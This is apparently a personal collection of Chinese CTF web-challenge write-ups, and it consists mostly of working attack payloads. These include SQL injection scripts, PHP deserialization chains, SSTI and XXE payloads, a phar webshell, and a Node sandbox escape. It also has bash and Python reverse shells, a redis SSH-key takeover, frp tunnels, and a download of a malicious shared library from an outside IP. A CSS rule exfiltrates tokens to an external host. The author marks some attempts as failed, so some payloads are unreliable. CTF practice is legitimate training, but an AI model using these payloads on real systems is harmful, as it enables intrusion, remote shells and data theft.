neepu-EZPHP
php:7.4.21 CVE
此处 .a
可换成除了 .php
等任何.*
后缀,但百度发现的源码漏洞使用的是index.php。
发现源码
<?php class one { public function __call ($name ,$ary ) { if ($this ->key === true ||$this ->finish1->name) { if ($this ->finish->finish){ call_user_func ($this ->now[$name ],$ary [0 ]); } } } public function neepuctf ( ) { $this ->now=0 ; return $this ->finish->finish; } public function __wakeup ( ) { $this ->key=True; } } class two { private $finish ; public $name ; public function __get ($value ) { return $this ->$value =$this ->name[$value ]; } } class three { public function __destruct ( ) { if ($this ->neepu->neepuctf ()||!$this ->neepu1->neepuctf ()){ $this ->fin->NEEPUCTF ($this ->rce,$this ->rce1); } } } class four { public function __destruct ( ) { if ($this ->neepu->neepuctf ()){ $this ->fin->NEEPUCTF1 ($this ->rce,$this ->rce1); } } public function __wakeup ( ) { $this ->key=false ; } } class five { public $finish ; private $name ; public function __get ($name ) { return $this ->$name =$this ->finish[$name ]; } } $a =$_POST ["neepu" ];if (isset ($a )){ unserialize ($a ); }
很明显,php反序列化
ciscn2022 sql
payload:
0'case'1'when
usernamecollate'utf8mb4_bin'atelike'{}%'then+9223372036854775807+1+''else'0'||'
因为过滤了空格和其他空白字符,有因为case和then之间必须有空格,所以使用’1’。而且分号内的字符必须为数字且不为0,这样case when才能正常发挥作用
cllate'utf8mb4_bin'
是使用utf8mb4_bin
字符集,这样才区分大小写,sql默认不区分大小写
为过滤了rlike和=,所以使用like来进行匹配,{}是占位符,后面脚本里用的then+9223372036854775807+1+''
因为过滤了空格,所以前后两个+是用来连接sql语句的,中间的9223372036854775807+1
就是表达式,如果匹配的到的内容符号like里的,就执行并返回这个表达式,从而造成溢出,然后就会报错,浏览器会返回500。就依据这个的不同来进行盲注
也可以使用18446744073709551615+1
,18446744073709551615
就是~0,但因为~被过滤所以无法使用~0+1
登进去后两个源码
这里放出我不懂的一个
<?php session_start ();if (!isset ($_SESSION ['login' ])){ die (); } function Al ($classname ) { include $classname .".php" ; } if (isset ($_REQUEST ['a' ])){ $c = $_REQUEST ['a' ]; $o = unserialize ($c ); if ($o === false ) { die ("Error Format" ); }else { spl_autoload_register ('Al' ); $o = unserialize ($c ); $raw = serialize ($o ); if (preg_match ("/Some/i" ,$raw )){ throw new Error ("Error" ); } $o = unserialize ($raw ); var_dump ($o ); } }else { echo file_get_contents ("SomeClass.php" ); }
spl_autoload_register
这个函数就是自动加载类,当new一个没有包含的类时,他就会自动调用类A1
静态方法来包含所需的类,简单来说就是通过这个方法调用function Al()进而包含SomeClass.php文件,但是里面过滤掉了some并且下面会抛出错误,所以我们的思路是提前调用destruct
payload也放一下,gc机制提前回收
<?php class A { public $a ; public $b ; public function see ( ) { $b = $this ->b; $checker = new ReflectionClass (get_class ($b )); if (basename ($checker ->getFileName ()) != 'SomeClass.php' ){ if (isset ($b ->a)&&isset ($b ->b)){ ($b ->a)($b ->b."" ); } } } } class B { public $a ; public $b ; public function __toString ( ) { $this ->a->see (); return "1" ; } } class E { public $a ; public $b ; public function __invoke ( ) { $this ->a = $this ->b." Powered by PHP" ; } public function __destruct ( ) { die ($this ->a); } } class SomeClass { public $a ; } $e =new E ();$b =new B ();$a =new A ();$e ->a=$b ;$b ->a=$a ;$x =new Error ();$x ->a="system" ;$x ->b="cat /nssctfflag" ;$a ->b=$x ;$result =new SomeClass ();$result ->a=$e ;$result = serialize (array ($result ,0 ));$result = str_replace ("i:1" ,"i:0" ,$result );$result = urlencode ($result );echo $result ;
在构造好反序列赋值给$result
后,通过数组的形式,键值对,0是$result
,1是0
,然后更改i本应为1的位置,改成0,从而把i=0
指向了NULL,进而造成GC回收,触发__destruct
函数
go_session ciscn2023
go mod tidy
+go run main.go
获得admin cookie
GET /admin?name={{c.SaveUploadedFile(c.FormFile(c.HandlerName()|last),c.Request.Referer())}} HTTP/1.1 Cookie: session-name=MTY5MTk5NTYxNnxEdi1CQkFFQ180SUFBUkFCRUFBQUlfLUNBQUVHYzNSeWFXNW5EQVlBQkc1aGJXVUdjM1J5YVc1bkRBY0FCV0ZrYldsdXwAose6mBW42KwvBV0MfmwHk6ygJ3VCQ6Fh1BYVHxqahA== Referer: /app/server.py Content-Type: multipart/form-data; boundary=----WebKitFormBoundary8ALIn5Z2C3VlBqND Content-Length: 427 ------WebKitFormBoundary8ALIn5Z2C3VlBqND Content-Disposition: form-data; name="n" ; filename="1.py" Content-Type: text/plain from flask import * import os app = Flask(__name__) @app.route('/' ) def index(): name = request.args['name' ] file=os.popen(name).read () return file if __name__ == "__main__" : app.run(host="0.0.0.0" , port=5000, debug=True) ------WebKitFormBoundary8ALIn5Z2C3VlBqND--
web393
url/search.php?title=1';insert into link values(10,'a','file:///flag');
插入link表,虽然不知道是什么#这里使用堆叠注入
MYSQL可以识别十六进制并对其进行自动转换
url/search.php?title=1';insert into link values(10,'a',0x66696c653a2f2f2f7661722f7777772f68746d6c2f616c73636b6466792f636865636b2e706870);
对应的字符串为 file:///var/www/html/alsckdfy/check.php
还可以打redis
题目中的url字段默认长度最长为255所以我们需要修改下
search.php?title=1';alter table link modify column url text;
插入数据
search.php?title=1';insert into link values(11,'a',0x676f706865723a2f2f3132372e302e302e313a363337392f5f2532413125304425304125323438253044253041666c757368616c6c2530442530412532413325304425304125323433253044253041736574253044253041253234312530442530413125304425304125323432382530442530412530412530412533432533467068702532306576616c2532382532345f504f5354253542312535442532392533422533462533452530412530412530442530412532413425304425304125323436253044253041636f6e666967253044253041253234332530442530417365742530442530412532343325304425304164697225304425304125323431332530442530412f7661722f7777772f68746d6c2530442530412532413425304425304125323436253044253041636f6e666967253044253041253234332530442530417365742530442530412532343130253044253041646266696c656e616d65253044253041253234372530442530416162632e706870253044253041253241312530442530412532343425304425304173617665253044253041253041);
读取link.php?id=11
,然后访问abc.php,密码是1
web 396-?
url=http://1/1;echo `cat fl0g.php`>a.txt
就是parse_url
的利用
web683
(int)("0xxxx")=0;
十六进制绕过
web684
create_function
web685
回溯绕过
import requests url="http://3c7c34aa-52d3-48d2-9dec-3679a65588c9.challenge.ctf.show/" files={ 'file' :'<?php eval($_POST[1]);?>' +'b' *1000000 } r=requests.post (url,files=files) for i in range (0 ,10 ): u=url+'data/{0}.php' .format (i) r=requests.post (u,data={'1' :'system("cat /secret_you_never_know;echo yu22x");' }) if 'yu22x' in r.text: print (r.text)
web686
无参数rce
web687
%0a
换行绕过
web688
假设传入参数 127.0 .0.1 ' -v -d a=1' 由于escapeshellarg先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用 被 \' 分成两部分 ' 127.0 .0.1 ' \' ' -v -d a=1 ' \' 接着 escapeshellcmd 函数对第二步处理后字符串中的 \ 进行转义处理 转义后的\\被解释成\,而不再是转义字符,形成单引号闭合 ' 127.0 .0.1 ' \\ ' ' -v -d a=1' \\' payload ?url=http://107.172.141.31:9999/' -F file=@/flag '
web689
不是很懂
?file=http://127.0.0.1/?file=http://127.0.0.1/%26path=<?php phpinfo();?>&path=a.php
web690
args[]=1 %0 a&args[]=mkdir&args[]=a%0 a&args[]=cd&args[]=a%0 a&args[]=wget&args[]=ip十进制 等价于 exec (./1 ; mkdir a;cd a;wget 2130706433 ) 创建了一个a目录,并把index.html下载进去了 现在问题是怎么执行这个(.html)文件里的内容,这个点怎么处理掉 一个比较好的方法是通过tar命令,我们如果压缩文件夹的话,文件夹中的内容在压缩文件中会完完整整的保留下来。 args[]=1 %0 a&args[]=tar&args[]=cvf&args[]=shell&args[]=a 等价于 exec (./1 ; tar cvf shell a) a文件夹被打包成shell,执行php代码 args[]=1 %0 a&args[]=php&args[]=shell 等价于 exec (./1 ; php shell) 最后只需要访问index.html中代码生成的shell.php就可以了
为什么我wget十进制ip内容是404?
web691
order by盲注
import requestsimport strings=".0123456789:abcdefghijklmnopqrstuvwxyz{|}~" url="http://350eb77e-284a-4268-bf49-058f67ca4c85.challenge.ctf.show/" data={ 'username' :"or 1 union select 1,2,'{}' order by 3#" , 'password' :'1' } k="ctfshow{10a1a24d-3548-4785-9e2b-9d8a6ad37" for i in range (1 ,50 ): print (i) for j in s: data={ 'username' :"' or 1 union select 1,2,'{0}' order by 3#" .format (k+j), 'password' :'1' } r=requests.post(url,data=data) if ("</code>admin" in r.text): k=k+chr (ord (j)-1 ) print (k) break
原理是按order by的列排序,然后就可以根据字符大小盲注了
暂存
<?php include ('inc.php' );highlight_file (__FILE__ );error_reporting (0 );function filter ($str ) { $filterlist = "/\(|\)|username|password|where|case|when|like|regexp|into|limit|=|for|;/" ; if (preg_match ($filterlist , strtolower ($str ))){ die ("illegal input!" ); } return $str ; } $username = isset ($_POST ['username' ]) ? filter ($_POST ['username' ]) : die ("please input username!" );$password = isset ($_POST ['password' ]) ? filter ($_POST ['password' ]) : die ("please input password!" );$sql = "select * from admin where username = '$username ' and password = '$password ' " ;$res = $conn ->query ($sql );if ($res ->num_rows > 0 ){ $row = $res ->fetch_assoc (); if ($row ['id' ]){ echo $row ['username' ]; } } else { echo "The content in the password column is the flag!" ; } ?>
web692
题目
<?php highlight_file (__FILE__ );if (!isset ($_GET ['option' ])) die ();$str = addslashes ($_GET ['option' ]);$file = file_get_contents ('./config.php' );$file = preg_replace ('|\$option=\'.*\';|' , "\$option='$str ';" , $file );file_put_contents ('./config.php' , $file );
preg_replace中的第二个参数如果是%00也就是ascii中的0,那么将会匹配到整个字符串
比如初始的字符串为
$option='123';
如果执行
preg_replace("$option='.*';","\x00",$a)
那么返回的结果是
$option='$option='123';';
其实就是把原来的字符串又放到单引号里面了。
假设我们第一次传option=;phpinfo();//
首先config.php中的内容会被替换成$option=';phpinfo();//'
如果我们第二次传option=%00
那么最终的结果是$option='$option=';phpinfo();//''
这样就逃出了单引号,phpinfo()也就执行成功
本地没成
payload:
web693
call_user_func ($func ,$_GET );
可以利用extract进行变量覆盖
然后远程文件包含
web694
<?php file_put_contents('1.txt/.','1');
这个是可以正常写入文件的
正常写马就可以
web695
https://github.com/koajs/koa-body/issues/75
开启了json解析的话
如果向文件上传的路由上传json主体的格式,那么其中path将被解析成已经上传完的文件位置保存到相应文件中。
所以在upload路由上传
{ "files" : { "file" : { "name" : "dionysus" , "path" : "flag" } } }
剩下的不会了
web696 不会
题目出处:SCTF2020-Jsonhub
解题步骤:源码审计,预期是 成为Django-admin -> 利用CVE-2018-14574 造成SSRF打flask_rpc -> UTF16绕过 {{
限制 -> 无字母SSTI
web697
PHP中数组大小大于数字
如果是最常见的md5加密的话,我们就可以绕过了。有如下几个字符串,在经过md5加密后的十六进制是自带单引号的。
也就是万能密码,md5
ffifdyop e58 4611686052576742364
web698
hash拓展攻击,可以去tools看看
web699
import requestsn = dict () n[0 ] = '${#}' n[1 ] = '${##}' n[2 ] = '$((${##}<<${##}))' n[3 ] = '$(($((${##}<<${##}))#${##}${##}))' n[4 ] = '$((${##}<<$((${##}<<${##}))))' n[5 ] = '$(($((${##}<<${##}))#${##}${#}${##}))' n[6 ] = '$(($((${##}<<${##}))#${##}${##}${#}))' n[7 ] = '$(($((${##}<<${##}))#${##}${##}${##}))' f = '' def str_to_oct (cmd ): s = "" for t in cmd: o = ('%s' % (oct (ord (t))))[2 :] s+='\\' +o return s def build (cmd ): payload = "$0<<<$0\<\<\<\$\\\'" s = str_to_oct(cmd).split('\\' ) for _ in s[1 :]: payload+="\\\\" for i in _: payload+=n[int (i)] return payload+'\\\'' print (build('bash -i >& /dev/tcp/IP/port 0>&1' ))
没测试成功捏
web700
利用场景 :能HTML注入,不能XSS(或者被dompurity时),可造成窃取CSRF Token的目的。
通过CSS选择器匹配到CSRF token,接着使用可以发送数据包的属性将数据带出,例如:
input [name=csrf] [value^=ca] { background-image : url (https://xxx.com/ca ); }
一般CSRF Token的type都为hidden,会有不加载background-image
属性的情况(本地测试是最新版FIrefox不加载,Chrome加载)
解决该问题的办法是使用~
兄弟选择器(选择和其后具有相同父元素的元素),加载相邻属性的background-image
,达到将数据带出的目的
提供一个工具sic
web701
JavaScript黑魔法
constructor.length.constructor(constructor.name.constructor(constructor.constructor.length).concat(console.dir.name.length).concat(console.dir.name.length).concat(console.context.name.length))
获取 Number 和 String 构造函数 :
constructor.length.constructor
返回的是 Number
构造函数。
constructor.name.constructor
返回的是 String
构造函数。
构造字符串 “1337” :
constructor.constructor.length
返回 1
。这是因为 constructor.constructor
是 Function
对象,它期望的参数数量是 1。
console.dir.name.length
返回 3
。这是因为 console.dir
的函数名是 “dir”,其长度是 3。
console.context.name.length
返回 7
。这是因为 console.context
的函数名是 “context”,其长度是 7。
最后达成 1337=payload
mark一下
const express = require ('express' );const path = require ('path' );const vm = require ('vm' );const app = express ();app.set ('views' , path.join (__dirname, 'views' )); app.set ('view engine' , 'pug' ); app.use (express.static (path.join (__dirname, 'public' ))); app.get ('/' , function (req, res, next ) { let output = '' ; const code = req.query .code + '' ; if (code && code.length < 200 && !/[^a-z().]/ .test (code)) { try { const result = vm.runInNewContext (code, {}, { timeout : 500 }); if (result === 1337 ) { output = process.env .FLAG ; } else { output = 'nope' ; } } catch (e) { output = 'nope' ; } } else { output = 'nope' ; } res.render ('index' , { title : '[a-z().]' , output }); }); app.get ('/source' , function (req, res ) { res.sendFile (path.join (__dirname, 'app.js' )); }); module .exports = app;
web702
password_hash
使用PASSWORD_BCRYPT
做算法,会使password参数最长为72个字符,超过会被截断
(会不会覆盖呢??)
然后有要求png头
<?php $png_header = hex2bin ('89504e470d0a1a0a0000000d49484452000000400000004000' );$phar = new Phar ('exp.phar' );$phar ->startBuffering ();$phar ->addFromString ('exp.css' , '<?php system($_GET["cmd"]); ?>' );$phar ->setStub ($png_header . '<?php __HALT_COMPILER(); ?>' );$phar ->stopBuffering ();
web703
原理是Session伪造 + Session反序列化
在lib.php里发现admin的判断是在session里判断的,init.php和export.php的保存路径竟然都是/var/www/tmp
由于PHP中session.serialize_handler默认设置为php,可以创建一个用户名叫sess_,然后Add note提交title为:|N;admin|b:1;
,这样反序列化结果即可为:admin=bool(true) ,并且替换掉了session文件。
页面点击文件即可得到sess_xxxxx,把后面的xxxx写入PHPSESSID即可得到flag
有点绷不住,都不会啊
web704
考点是unicode编码绕过json_decode
{"page":"p\u0068p://filter/read=convert.base64-encode/resource=/\u0066lag"}
ez_date
<?php error_reporting (0 );highlight_file (__FILE__ );class date { public $a ; public $b ; public $file ; public function __wakeup ( ) { if (is_array ($this ->a)||is_array ($this ->b)){ die ('no array' ); } if ( ($this ->a !== $this ->b) && (md5 ($this ->a) === md5 ($this ->b)) && (sha1 ($this ->a)=== sha1 ($this ->b)) ){ $content =date ($this ->file); $uuid =uniqid ().'.txt' ; file_put_contents ($uuid ,$content ); $data =preg_replace ('/((\s)*(\n)+(\s)*)/i' ,'' ,file_get_contents ($uuid )); echo file_get_contents ($data ); } else { die (); } } } unserialize (base64_decode ($_GET ['code' ]));
$str ='/f\l\a\g' ; print (date ($str ));
我超,神奇
[NSSRound#6 Team]check(V1)
from flask import Flask,requestimport tarfileimport osapp = Flask(__name__) app.config['UPLOAD_FOLDER' ] = './uploads' app.config['MAX_CONTENT_LENGTH' ] = 100 * 1024 ALLOWED_EXTENSIONS = set (['tar' ]) def allowed_file (filename ): return '.' in filename and \ filename.rsplit('.' , 1 )[1 ].lower() in ALLOWED_EXTENSIONS @app.route('/' ) def index (): with open (__file__, 'r' ) as f: return f.read() @app.route('/upload' , methods=['POST' ] ) def upload_file (): if 'file' not in request.files: return '?' file = request.files['file' ] if file.filename == '' : return '?' print (file.filename) if file and allowed_file(file.filename) and '..' not in file.filename and '/' not in file.filename: file_save_path = os.path.join(app.config['UPLOAD_FOLDER' ], file.filename) if (os.path.exists(file_save_path)): return 'This file already exists' file.save(file_save_path) else : return 'This file is not a tarfile' try : tar = tarfile.open (file_save_path, "r" ) tar.extractall(app.config['UPLOAD_FOLDER' ]) except Exception as e: return str (e) os.remove(file_save_path) return 'success' @app.route('/download' , methods=['POST' ] ) def download_file (): filename = request.form.get('filename' ) if filename is None or filename == '' : return '?' filepath = os.path.join(app.config['UPLOAD_FOLDER' ], filename) if '..' in filename or '/' in filename: return '?' if not os.path.exists(filepath) or not os.path.isfile(filepath): return '?' with open (filepath, 'r' ) as f: return f.read() @app.route('/clean' , methods=['POST' ] ) def clean_file (): os.system('/tmp/clean.sh' ) return 'success' if __name__ == '__main__' : app.run(host='0.0.0.0' , debug=True , port=80 )
漏洞点
tar = tarfile.open (file_save_path, "r" ) tar.extractall(app.config['UPLOAD_FOLDER' ])
可以通过上传一个tar文件,文件里面的内容软连接指向/flag,tar被解压后里面的文件指向了flag的内容,然后通过download函数将文件下载出来即可得到flag。
myhurricane
tornado模版在渲染时会执行__tt_utf8(__tt_tmp)
这样的函数,所以将__tt_utf8
设置为eval
,然后将__tt_tmp设置为了从POST方法中接收的字符串导致了RCE
{% set _tt_utf8 =eval %}{% raw request.body_arguments[request.method][0] %}&POST=__import__('os' ).popen("bash -c 'bash -i >%26 /dev/tcp/vps-ip/port <%261'" )
true xml
内网探测
是一个新生赛不错的出题思路
shadowflag
好题
/proc/[pid]/fd
读打开未关闭的flag
act=python3%09-c%09"import%09os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ip',port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
反弹shell
然后报错可以指定断点debug
[安洵杯 2019]easy_serialize_php
看不太懂,先搁置
babycat
首先是个登录,登录后就是个任意文件读取
/home/download?file=../../WEB-INF/web.xml
../../WEB-INF/classes/com/web/servlet/registerServlet.class
下载这个文件,反编译后
String var = req.getParameter("data" ).replaceAll(" " , "" ).replace("'" , "\"" ); Pattern pattern = Pattern.compile("\"role\":\"(.*?)\"" ); Matcher matcher = pattern.matcher(var ); while (matcher.find()) role = matcher.group(); if (!StringUtils.isNullOrEmpty(role)) { var = var .replace(role, "\"role\":\"guest\"" ); person = (Person)gson.fromJson(var , Person.class); } else { person = (Person)gson.fromJson(var , Person.class); person.setRole("guest" ); }
data={"username":"dionysus","password":"12345","role":"admin"/*, "role":"test"*/}
伪造一个admin用户
然后上传jsp文件.在../../static/1.jsp
蚁剑连接
Smarty calculator
CVE-2021-26120
妈的,不会
data=%7Bfunction%20name%3D'exp()%7B%7D%3Beval(%24_GET%5B1%5D)%3Bfunction%0A%0A'%7D%7B%2Ffunction%7D
密码是1 ,蚁剑连接不上,剩下绕过disable_function,没成功
地狱通信改
flag = request.args.get('flag' ) or '' message = "Hello {0}, your flag is" + flag
format漏洞
{0.__class__.__init__.__globals__[headers]}
{0.__class__.__init__.__globals__[secret]}
然后正常的jwt伪造
极客大挑战2020 greatphp
原生类反序列化
<?php class SYCLOVER { public $syc ; public $lover ; public function __wakeup ( ) { if ( ($this ->syc != $this ->lover) && (md5 ($this ->syc) === md5 ($this ->lover)) && (sha1 ($this ->syc)=== sha1 ($this ->lover)) ){ if (!preg_match ("/\<\?php|\(|\)|\"|\'/" , $this ->syc, $match )){ eval ($this ->syc); } else { die ("Try Hard !!" ); } } } } $str = "?><?=include~" .urldecode ("%D0%99%93%9E%98" )."?>" ;$a =new Error ($str ,1 );$b =new Error ($str ,2 );$c = new SYCLOVER ();$c ->syc = $a ;$c ->lover = $b ;echo (urlencode (serialize ($c )));?>
注意error的报错信息和行号有关,所以一定要在同一行
SCTF rceme
create_function(...unserialize(end(getallheaders())))
传array(代码注入)反序列化变成两个参数传入create_function create_funtion
本质是语法解析的。可以直接注入eval
这里逗号没了。无法传参。利用可变参数列表绕过
[xxx][0 ](...[xxx][0 ]()) <?php function sum (...$a ) { $c = 0 ; foreach ($a as $n ){ $c = $c + $n ; } return $c ; } echo sum (1 ,12 ,13 );
无参RCE加上iconv绕过disable_function
pylo:a:2:{i:0;s:0:"" ;i:1;s:21:"}eval($_POST [" a"]);//" ;} cmd=[~%9C%8D%9A%9E%8B%9A%A0%99%8A%91%9C%8B%96%90%91][!%FF](...[~%8A%91%8C%9A%8D%96%9E%93%96%85%9A][!%FF]([~%9A%91%9B][!%FF]([~%98%9A%8B%9E%93%93%97%9A%9E%9B%9A%8D%8C][!%FF]())));&a=$url ="http://107.172.141.31/hackso/gconv/payload.so" ;$file1 =new SplFileObject($url ,'r' );$a ="" ;while (!$file1 ->eof()){$a =$a .$file1 ->fgets();}$file2 = new SplFileObject('/tmp/payload.so' ,'w' );$file2 ->fwrite($a );
pylo:a:2:{i:0;s:0:"" ;i:1;s:21:"}eval($_POST [" a"]);//" ;} cmd=[~%9C%8D%9A%9E%8B%9A%A0%99%8A%91%9C%8B%96%90%91][!%FF](...[~%8A%91%8C%9A%8D%96%9E%93%96%85%9A][!%FF]([~%9A%91%9B][!%FF]([~%98%9A%8B%9E%93%93%97%9A%9E%9B%9A%8D%8C][!%FF]())));&a=$url ="http://107.172.141.31/hackso/gconv/gconv-modules" ;$file1 =new SplFileObject($url ,'r' );$a ="" ;while (!$file1 ->eof()){$a =$a .$file1 ->fgets();}$file2 = new SplFileObject('/tmp/gconv-modules' ,'w' );$file2 ->fwrite($a );
a=putenv("GCONV_PATH=/tmp/" );show_source("php://filter/read=convert.iconv.payload.utf-8/resource=/tmp/gconv-modules" ); a=show_source('/tmp/dionysus' );
moectf
座驾
%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22utf-8%22%3F%3E%3C!DOCTYPE%20xxe%20%5B%3C!ELEMENT%20name%20ANY%20%3E%3C!ENTITY%20xxe%20SYSTEM%20%22file%3A%2F%2F%2Fflag%22%20%3E%5D%3E%3Cxml%3E%3Cname%3E%26xxe%3B%3C%2Fname%3E%3C%2Fxml%3E
要url编码
<?xml version="1.0" encoding="utf-8" ?> <!DOCTYPE xxe [ <!ELEMENT name ANY > <!ENTITY xxe SYSTEM "file:///flag" > ]> <xml > <name > &xxe; </name > </xml >
心海
抓包,一眼sql注入
$query = "INSERT INTO visitor_records (ip, user_agent, time) VALUES ('$ip', '$user_agent', $time)";
insert注入
试试报错注入
爆库名
updatexml(0,concat(0x7c,(SELECT database() limit 0,1)),0)
爆表名
updatexml(0,concat(0x7c,(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database())),0)
爆列名
updatexml(0,concat(0x7c,(SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='secret_of_kokomi')),0)
最终payload
updatexml(0,concat(0x7c,(SELECT SUBSTRING(content, 1, 20) FROM wordpress.secret_of_kokomi limit 2,1)),0)
updatexml(0,concat(0x7c,(SELECT SUBSTRING(content, 20, 50) FROM wordpress.secret_of_kokomi limit 2,1)),0)
(updatexml(0,concat(0x7c,(SELECT GROUP_CONCAT(SUBSTRING(content, 15,30 )) FROM wordpress.secret_of_kokomi)),0)
会有数据丢失)
答案moectf{Dig_Thr0ugh_Eve2y_C0de_3nd_Poss1bIlIti3s!!}
signin
首先看得到flag的条件
hashed_users = dict ((k,gethash(k,v)) for k,v in users.items()) hashed = gethash(params.get("username" ),params.get("password" )) for k,v in hashed_users.items(): if hashed == v: data = { "user" :k, "hash" :hashed, "flag" : FLAG if k == "admin" else "flag{YOU_HAVE_TO_LOGIN_IN_AS_ADMIN_TO_GET_THE_FLAG}" }
hashed=0就行了
接着看几个if判断
if params.get("username" ) == "admin" : self.send_response(403 ) self.end_headers() self.wfile.write(b"YOU CANNOT LOGIN AS ADMIN!" ) print ("admin" ) return if params.get("username" ) == params.get("password" ): self.send_response(403 ) self.end_headers() self.wfile.write(b"YOU CANNOT LOGIN WITH SAME USERNAME AND PASSWORD!" ) print ("same" ) return
username不能为admin
password不能和username相等
int != str
思路,构造json数据,username为字符串,password为数字,然后b64编码5次
post发包
难度不大,能看懂就会写
内网
from flask import Flaskfrom flask.sessions import SecureCookieSessionInterfaceclass MockApp (object ): def __init__ (self, secret_key ): self.secret_key = secret_key app = Flask(__name__) secret_keys = [] with open ("secret_keys.txt" , "r" ) as f: for line in f: secret_keys.append(line.strip()) def decrypt_session (session_data, secret_key ): try : app = MockApp(secret_key) si = SecureCookieSessionInterface() s = si.get_signing_serializer(app) return s.loads(session_data) except : return None def try_all_keys (session_data ): for secret_key in secret_keys: data = decrypt_session(session_data, secret_key) if data is not None : print (f"Success! The secret key is {secret_key} " ) print (f"The decrypted session data is {data} " ) break else : print ("Failed! No valid secret key found" ) session_data = "eyJwb3dlciI6Imd1ZXN0IiwidXNlciI6IjEyMyJ9.ZQ6DEQ.OGopK40APnPGLLRgB_-bXDn3JsM" try_all_keys(session_data)
import socketimport subprocessimport oss = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("YOUR_IP" , YOUR_PORT)) os.dup2(s.fileno(), 0 ) os.dup2(s.fileno(), 1 ) os.dup2(s.fileno(), 2 ) subprocess.call(["/bin/sh" , "-i" ])
第一次接触,有点意思
cat /etc/hosts
fscan -h 172.20.0.4/24
扫出来
[*] LiveTop 172.20.0.0/16 段存活数量为: 4 [*] LiveTop 172.20.0.0/24 段存活数量为: 4 172.20.0.1:888 open 172.20.0.2:22 open 172.20.0.1:22 open 172.20.0.1:21 open 172.20.0.2:6379 open 172.20.0.4:8080 open 172.20.0.1:80 open 172.20.0.3:3306 open 172.20.0.1:3306 open 172.20.0.1:7777 open [*] WebTitle: http://172.20.0.1:7777 code:200 len:917 title:恭喜,站点创建成功! [*] WebTitle: http://172.20.0.1 code:200 len:138 title:404 Not Found [+] Redis:172.20.0.2:6379 unauthorized file:/data/dump.rdb [*] WebTitle: http://172.20.0.1:888 code:403 len:548 title:403 Forbidden [*] WebTitle: http://172.20.0.4:8080 code:302 len:199 title:Redirecting... 跳转url: http://172.20.0.4:8080/login [+] Redis:172.20.0.2:6379 like can write /root/.ssh/ [*] WebTitle: http://172.20.0.4:8080/login code:200 len:1145 title:LOGI
*.3
下有mysql
*.2
下有redis+ssh
里面有frp 就用这个吧
先打redis
漏洞条件:
Redis绑定在127.0.0.1:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略
没有设置密码认证,可以免密码远程登录Redis服务
以root身份运行Redis
echo "[common]\nserver_addr=107.172.141.31\nserver_port=7001\n\n[redis]\ntype = tcp\nlocal_ip = 172.20.0.2\nlocal_port = 6379\nremote_port = 6002\n\n[ssh]\ntype = tcp\nlocal_ip = 172.20.0.2\nlocal_port = 22\nremote_port = 6003" > frpc.ini
[common] server_addr=107.172.141.31 server_port=7001 [redis] type = tcplocal_ip = 172.20.0.2 local_port = 6379 remote_port = 6002 [ssh] type = tcplocal_ip = 172.20.0.2 local_port = 22 remote_port = 6003
然后
同时启动frps和frpc后
本地 1.ssh-keygen -t rsa 2.cat id_rsa.pub 3.redis-cli -h 127.0.0.1 -p6002 4.config set dir /root/.ssh 5.config set dbfilename authorized_keys 6.set x "\n\n\nxxxxxxxxx\n\n\n" 7.save final:ssh -i id_rsa root@127.0.0.1 -p 6003
然后拿到第1/3flag
第三个在数据库里
同样frpc
echo "[common]\nserver_addr=107.172.141.31\nserver_port=7001\n\n[mysql]\ntype = tcp\nlocal_ip = 172.20.0.3\nlocal_port = 3306\nremote_port = 6004" > frpc.ini
[common] server_addr=107.172.141.31 server_port=7001 [mysql] type = tcplocal_ip = 172.20.0.3 local_port = 3306 remote_port = 6004
mysql -h 127.0.0.1 -P 6004 -u root -pThe_P0sswOrD_Y0u_Nev3r_Kn0w
密码是在外网python文件里找到的
ctfshow 红包7
phpdebug
highlight_file (__FILE__ );error_reporting (2 );extract ($_GET );ini_set ($name ,$value );system ( "ls '" .filter ($_GET [1 ])."'" ); function filter ($cmd ) { $cmd = str_replace ("'" ,"" ,$cmd ); $cmd = str_replace ("\\" ,"" ,$cmd ); $cmd = str_replace ("`" ,"" ,$cmd ); $cmd = str_replace ("$" ,"" ,$cmd ); return $cmd ; }
1=/usr/local/lib/php/extensions/no-debug-non-zts-20180731/
查看扩展目录,包含xdebug
xdebug在处理截断问题的时候,会将异常payload回显。而system刚好可以用0字节进行截断来触发异常
?name=error_log&value=/var/www/html/1.php&1=%00<?php system("cat /f*");?>
0xgame
sql
离谱,这他妈是新生赛
import requestsimport timeresult = '' def make_payload (sql: str ) -> str : return f"set/**/@a=0x{sql.encode().hex ()} ;prepare/**/execsql/**/from/**/@a;execute/**/execsql" url = "http://124.71.184.68:50021/?order=id;" sql = f"SELECT * FROM userinfo where id=1 and 1=(updatexml(0,concat(0x7c,(SELECT SUBSTRING(flag, 1, 50) FROM ctf.flag limit 0,1)),0));" payload = url+make_payload(sql) time.sleep(0.1 ) response = requests.get(payload) print (response.text)
最后payload,改个limit就成
沙箱
注册
直接注册就行
{ "username" : "myUser1" , "password" : "mypassword" }
登录
原型链污染给admins.myUser1 = true
使username in admins成立
{ "username" : "myUser1" , "password" : "mypassword" , "constructor" : { "prototype" : { "myUser1" : true } } }
沙箱逃逸
在沙箱内可以通过 throw 来抛出一个对象 这个对象会被沙箱外的 catch 语句捕获 然后会访问它的 message 属性 (即 e.message) 通过 JavaScript 的 Proxy 类或对象的 defineGetter
方法来设置一个 getter 使得在沙箱外访问 e 的 message 属性 (即 e.message) 时能够调用某个函数 ,关键部分用unicode绕过
{ "code" : "throw new Proxy({}, { get: function(target, prop) { const cc = arguments.callee.caller; const p = (cc.constructor.constructor('return process'))(); return p.mainModule.require('child_process').execSync('whoami').toString(); } });" }
最终payload"code": "throw new Proxy({}, { get: function(target, prop) { const cc = arguments.callee.caller; const p = (cc.\\u0063onstructor.\\u0063onstructor('return pro\\u0063ess'))(); return p.m\\u0061inModule.requir\\u0065('child_pro\\u0063ess').exe\\u0063Sync('cat /flag').toString(); } });"